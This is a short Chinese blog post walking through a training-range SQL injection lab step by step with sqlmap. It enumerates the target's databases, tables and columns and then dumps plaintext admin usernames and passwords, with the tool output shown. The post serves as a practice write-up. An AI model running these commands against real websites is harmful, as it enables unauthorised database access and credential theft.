SQL注入实战（一）

原创

木尤 于 2020-07-10 18:06:52 发布 873 收藏 10
分类专栏： SQL注入 文章标签： sql

本文链接：https://blog.csdn.net/qq_42545755/article/details/107259048

封神台靶场

https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7

查找注入点：

sqlmap.py -u http://59.63.200.79:8003/?id=1

查找数据库

sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs

有三个数据库

available databases [3]:
[*] *information_schema*
[*] maoshe
[*] test
初步判断是maoshe

查找maoshe下的表

sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables

找到四个表：

Database: maoshe
[4 tables]
±------+
| admin |
| dirs |
| news |
| xss |
±------+

判断管理员密码在admin里面

查找admin表下面的列

sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --column

找到三个字段

Database: maoshe

Table: admin

[3 columns]

±--------±----------+

| Column | Type |

±--------±----------+

| Id | int(11) |

| password | varchar(11) |

| username | varchar(11) |

±--------±----------+

我们只需要账号密码字段就行了

查找账号密码

sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C username,password --dump

找到用户名密码

Database: maoshe

Table: admin

[2 entries]

±--------±----------+

| username | password |

±--------±----------+

| admin | hellohack |

| ppt领取微信 | zkaqbanban |

±--------±----------+

本次注入完成